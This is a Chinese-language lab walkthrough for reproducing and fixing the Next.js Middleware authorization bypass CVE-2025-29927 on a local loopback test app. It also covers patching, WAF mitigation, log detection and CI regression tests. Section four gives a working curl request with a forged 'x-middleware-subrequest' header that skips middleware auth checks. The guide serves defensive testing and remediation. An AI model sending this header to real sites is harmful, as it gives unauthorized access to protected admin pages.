授权边界:本文只用于你自己搭建的本地靶场或获得书面授权的系统。不要向公网资产发送验证请求。
CVE-2025-29927 是 Next.js Middleware 鉴权绕过漏洞。受影响应用如果只在 Middleware 中做权限判断,特制请求可能跳过这层检查。GitHub CNA 给出的 CVSS 3.1 评分为 9.1。官方修复版本包括 12.3.5、13.5.9、14.2.25 和 15.2.3。
一、实验目标与隔离要求
- 靶场只监听
127.0.0.1,不要映射到公网。 - 使用虚构会话值,不放入真实账号、Cookie 或密钥。
- 先记录未授权请求被重定向,再验证异常请求是否绕过,最后升级并做回归。
二、准备受影响版本
以下示例使用 14.2.24。请在一次性目录中操作,完成后删除整个实验目录。
npx create-next-app@14.2.24 next-middleware-lab
cd next-middleware-lab
npm ls next
创建 middleware.js,仅允许带有虚构实验 Cookie 的请求进入 /admin:
import { NextResponse } from 'next/server';
export function middleware(request) {
const session = request.cookies.get('session')?.value;
if (session !== 'lab-admin') {
return NextResponse.redirect(new URL('/login', request.url));
}
return NextResponse.next();
}
export const config = { matcher: ['/admin/:path*'] };
再创建一个只显示“LAB ADMIN PAGE”的本地页面。启动时显式绑定回环地址:
npm run dev -- --hostname 127.0.0.1
三、建立正常对照
先发送普通未登录请求。预期结果是 307/308 重定向到 /login;带实验 Cookie 的请求才应返回 200。
curl -i http://127.0.0.1:3000/admin
curl -i --cookie "session=lab-admin" http://127.0.0.1:3000/admin
四、在本地验证绕过现象
对受影响版本,向本地靶场加入框架内部使用的请求头后再次访问。验证成功的判断不是“拿到系统权限”,而是未携带实验 Cookie 却从重定向变成 200,并出现虚构页面标记。
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://127.0.0.1:3000/admin
如果普通请求返回重定向,而上述本地请求返回 200,说明权限控制只依赖 Middleware 时存在绕过风险。不要把请求目标替换成他人的域名或 IP。
五、升级并做修复对照
npm install next@14.2.25
npm ls next
npm run build
npm run dev -- --hostname 127.0.0.1
重复前三个请求。修复后的关键验收结果是:没有实验 Cookie 的两种请求都被拒绝或重定向,只有合法实验 Cookie 可以访问。
六、生产防护与检测
- 首选:升级到官方修复版本或更高受支持版本。
- 临时缓解:在反向代理/WAF 丢弃来自外部客户端的
x-middleware-subrequest请求头。 - 纵深防御:敏感 API 和数据层再次校验会话与权限,不把 Middleware 当成唯一授权边界。
- 日志检测:搜索外部来源携带该请求头、同时访问后台路径并获得 2xx 的记录。
- 回归测试:把“无凭证、伪造内部头、合法凭证”三组用例加入 CI。
七、参考资料
一个完整的复现记录应同时保留:受影响版本、正常对照、异常现象、升级版本、修复后的回归结果和日志检测规则。只有“跑通请求”而没有修复验证,不算完成。